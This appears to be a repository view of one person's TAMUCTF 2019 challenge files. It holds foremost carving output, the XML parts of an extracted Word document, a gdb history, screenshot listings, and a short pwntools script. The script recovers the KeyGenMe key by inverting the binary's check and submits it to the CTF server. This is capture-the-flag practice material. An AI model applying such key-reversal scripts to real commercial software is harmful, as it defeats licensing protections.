Output directory: /home/chao/Documents/CTF/TAMUCTF/Misc/I_heard_you_like_files/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: art.png
Start: Sun Mar 3 15:59:09 2019
Length: 3 MB (3518869 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00006700.zip 86 KB 3430685
1: 00000000.png 3 MB 0 (1920 x 1080)
2: 00006657.pdf 21 KB 3408641
Finish: Sun Mar 3 15:59:09 2019
3 FILES EXTRACTED
zip:= 1
png:= 1
pdf:= 1
------------------------------------------------------------------
Foremost finished at Sun Mar 3 15:59:09 2019

BIN
TAMUCTF/Misc/I_heard_you_like_files/output/pdf/00006657.pdf Dosyayı Görüntüle


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TAMUCTF/Misc/I_heard_you_like_files/output/png/00000000.png Dosyayı Görüntüle

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/00006700.zip Dosyayı Görüntüle


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TAMUCTF/Misc/I_heard_you_like_files/output/zip/[Content_Types].xml Dosyayı Görüntüle

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<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="png" ContentType="image/png"/><Default Extension="jpeg" ContentType="image/jpeg"/><Override PartName="/_rels/.rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/word/_rels/document.xml.rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/media/image1.png" ContentType="image/png"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/>
</Types>

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/_rels/.rels Dosyayı Görüntüle

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<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>

+ 2
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TAMUCTF/Misc/I_heard_you_like_files/output/zip/docProps/app.xml Dosyayı Görüntüle

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template></Template><TotalTime>12</TotalTime><Application>LibreOffice/6.1.1.2$Linux_X86_64 LibreOffice_project/10$Build-2</Application><Pages>1</Pages><Words>4</Words><Characters>24</Characters><CharactersWithSpaces>27</CharactersWithSpaces><Paragraphs>1</Paragraphs></Properties>

+ 2
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TAMUCTF/Misc/I_heard_you_like_files/output/zip/docProps/core.xml Dosyayı Görüntüle

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dcterms:created xsi:type="dcterms:W3CDTF">2018-09-20T15:47:36Z</dcterms:created><dc:creator></dc:creator><dc:description></dc:description><dc:language>en-US</dc:language><cp:lastModifiedBy></cp:lastModifiedBy><dcterms:modified xsi:type="dcterms:W3CDTF">2018-09-20T16:00:01Z</dcterms:modified><cp:revision>1</cp:revision><dc:subject></dc:subject><dc:title></dc:title></cp:coreProperties>

+ 1
- 0
TAMUCTF/Misc/I_heard_you_like_files/output/zip/not_the_flag.txt Dosyayı Görüntüle

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Sorry, no flag here

+ 3
- 0
TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/_rels/document.xml.rels Dosyayı Görüntüle

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<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/>
</Relationships>

+ 2
- 0
TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/document.xml Dosyayı Görüntüle

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14 wp14"><w:body><w:p><w:pPr><w:pStyle w:val="TextBody"/><w:widowControl/><w:pBdr></w:pBdr><w:spacing w:before="0" w:after="225"/><w:ind w:left="0" w:right="0" w:hanging="0"/><w:jc w:val="both"/><w:rPr><w:rFonts w:ascii="Open Sans;Arial;sans-serif" w:hAnsi="Open Sans;Arial;sans-serif"/><w:b w:val="false"/><w:i w:val="false"/><w:caps w:val="false"/><w:smallCaps w:val="false"/><w:color w:val="000000"/><w:spacing w:val="0"/><w:sz w:val="21"/></w:rPr></w:pPr><w:r><w:rPr><w:rFonts w:ascii="Open Sans;Arial;sans-serif" w:hAnsi="Open Sans;Arial;sans-serif"/><w:b w:val="false"/><w:i w:val="false"/><w:caps w:val="false"/><w:smallCaps w:val="false"/><w:color w:val="000000"/><w:spacing w:val="0"/><w:sz w:val="21"/></w:rPr><w:drawing><wp:anchor behindDoc="0" distT="0" distB="0" distL="0" distR="0" simplePos="0" locked="0" layoutInCell="1" allowOverlap="1" relativeHeight="2"><wp:simplePos x="0" y="0"/><wp:positionH relativeFrom="column"><wp:align>center</wp:align></wp:positionH><wp:positionV relativeFrom="paragraph"><wp:posOffset>635</wp:posOffset></wp:positionV><wp:extent cx="2857500" cy="1600200"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:wrapSquare wrapText="largest"/><wp:docPr id="1" name="Image1" descr=""></wp:docPr><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="1" name="Image1" descr=""></pic:cNvPr><pic:cNvPicPr><a:picLocks noChangeAspect="1" noChangeArrowheads="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId2"></a:blip><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr bwMode="auto"><a:xfrm><a:off x="0" y="0"/><a:ext cx="2857500" cy="1600200"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:anchor></w:drawing></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr><w:t>Wait...now I am confused...</w:t></w:r></w:p><w:sectPr><w:type w:val="nextPage"/><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:left="1134" w:right="1134" w:header="0" w:top="1134" w:footer="0" w:bottom="1134" w:gutter="0"/><w:pgNumType w:fmt="decimal"/><w:formProt w:val="false"/><w:textDirection w:val="lrTb"/></w:sectPr></w:body></w:document>

+ 2
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TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/fontTable.xml Dosyayı Görüntüle

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:fonts xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><w:font w:name="Times New Roman"><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Symbol"><w:charset w:val="02"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Arial"><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/></w:font><w:font w:name="DejaVu Serif"><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="DejaVu Sans"><w:charset w:val="01"/><w:family w:val="swiss"/><w:pitch w:val="variable"/></w:font><w:font w:name="Open Sans"><w:altName w:val="Arial"/><w:charset w:val="01"/><w:family w:val="auto"/><w:pitch w:val="default"/></w:font></w:fonts>

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/media/image1.png Dosyayı Görüntüle

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Genişlik: 300  |  Yükseklik: 168  |  Boyut: 83 KiB

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/settings.xml Dosyayı Görüntüle

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:settings xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:zoom w:percent="100"/><w:defaultTabStop w:val="709"/></w:settings>

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/styles.xml Dosyayı Görüntüle

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:styles xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="w14"><w:docDefaults><w:rPrDefault><w:rPr><w:rFonts w:ascii="DejaVu Serif" w:hAnsi="DejaVu Serif" w:eastAsia="Noto Sans" w:cs="Noto Sans"/><w:kern w:val="2"/><w:sz w:val="24"/><w:szCs w:val="24"/><w:lang w:val="en-US" w:eastAsia="zh-CN" w:bidi="hi-IN"/></w:rPr></w:rPrDefault><w:pPrDefault><w:pPr><w:widowControl/></w:pPr></w:pPrDefault></w:docDefaults><w:style w:type="paragraph" w:styleId="Normal"><w:name w:val="Normal"/><w:qFormat/><w:pPr><w:widowControl/></w:pPr><w:rPr><w:rFonts w:ascii="DejaVu Serif" w:hAnsi="DejaVu Serif" w:eastAsia="Noto Sans" w:cs="Noto Sans"/><w:color w:val="auto"/><w:kern w:val="2"/><w:sz w:val="24"/><w:szCs w:val="24"/><w:lang w:val="en-US" w:eastAsia="zh-CN" w:bidi="hi-IN"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Heading"><w:name w:val="Heading"/><w:basedOn w:val="Normal"/><w:next w:val="TextBody"/><w:qFormat/><w:pPr><w:keepNext w:val="true"/><w:spacing w:before="240" w:after="120"/></w:pPr><w:rPr><w:rFonts w:ascii="DejaVu Sans" w:hAnsi="DejaVu Sans" w:eastAsia="Noto Sans" w:cs="Noto Sans"/><w:sz w:val="28"/><w:szCs w:val="28"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="TextBody"><w:name w:val="Body Text"/><w:basedOn w:val="Normal"/><w:pPr><w:spacing w:lineRule="auto" w:line="276" w:before="0" w:after="140"/></w:pPr><w:rPr></w:rPr></w:style><w:style w:type="paragraph" w:styleId="List"><w:name w:val="List"/><w:basedOn w:val="TextBody"/><w:pPr></w:pPr><w:rPr></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Caption"><w:name w:val="Caption"/><w:basedOn w:val="Normal"/><w:qFormat/><w:pPr><w:suppressLineNumbers/><w:spacing w:before="120" w:after="120"/></w:pPr><w:rPr><w:i/><w:iCs/><w:sz w:val="24"/><w:szCs w:val="24"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Index"><w:name w:val="Index"/><w:basedOn w:val="Normal"/><w:qFormat/><w:pPr><w:suppressLineNumbers/></w:pPr><w:rPr></w:rPr></w:style></w:styles>

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TAMUCTF/Reverse/KeyGenMe/.gdb_history Dosyayı Görüntüle

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pdisas main
b *main+200
r
pdisas verify_key
b *verify_key+96
r
pdisas verify_key
b *verify_key+96
r
r

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_233546.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_233856.png Dosyayı Görüntüle

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BIN
TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_234341.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_234432.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_235534.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_000342.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_000843.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_001206.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_001324.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_001417.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_001835.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_002033.png Dosyayı Görüntüle

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TAMUCTF/Reverse/KeyGenMe/bruteforce.py Dosyayı Görüntüle

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from pwn import *
v5 = ""
v2 = ord('H')
flag = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
key = "[OIonU2_<__nK<KsK"
iterator = 0
while True:
for i in flag:
if(((ord(i) + 12) * v2 + 17) % 70 + 48) == ord(key[iterator]):
v5 += i
v2 = ord(key[iterator])
iterator += 1
break
if(len(v5) == len(key)):
break
v5 = v5[:-1]
print "Key: {}".format(v5)
r = remote("rev.tamuctf.com", 7223)
r.sendline(v5)
r.interactive()

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TAMUCTF/Reverse/KeyGenMe/keygenme Dosyayı Görüntüle


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TAMUCTF/Secure_Coding/SQL/Screenshot_20190303_153550.png Dosyayı Görüntüle

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TAMUCTF/Secure_Coding/SQL/Screenshot_20190303_153910.png Dosyayı Görüntüle

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TAMUCTF/Secure_Coding/SQL/Screenshot_20190303_154148.png Dosyayı Görüntüle

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TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_202844.png Dosyayı Görüntüle

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TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_203307.png Dosyayı Görüntüle

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TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_203644.png Dosyayı Görüntüle

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TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_203910.png Dosyayı Görüntüle

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TAMUCTF/Web/Not_Another_SQLi_Challenge/Screenshot_20190302_200611.png Dosyayı Görüntüle

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TAMUCTF/Web/Not_Another_SQLi_Challenge/Screenshot_20190302_200703.png Dosyayı Görüntüle

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TAMUCTF/Web/Not_Another_SQLi_Challenge/Screenshot_20190302_200832.png Dosyayı Görüntüle

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TAMUCTF/Web/Robots_Rule/Screenshot_20190302_201534.png Dosyayı Görüntüle

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TAMUCTF/Web/Robots_Rule/Screenshot_20190302_201719.png Dosyayı Görüntüle

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TAMUCTF/Web/Robots_Rule/Screenshot_20190302_202358.png Dosyayı Görüntüle

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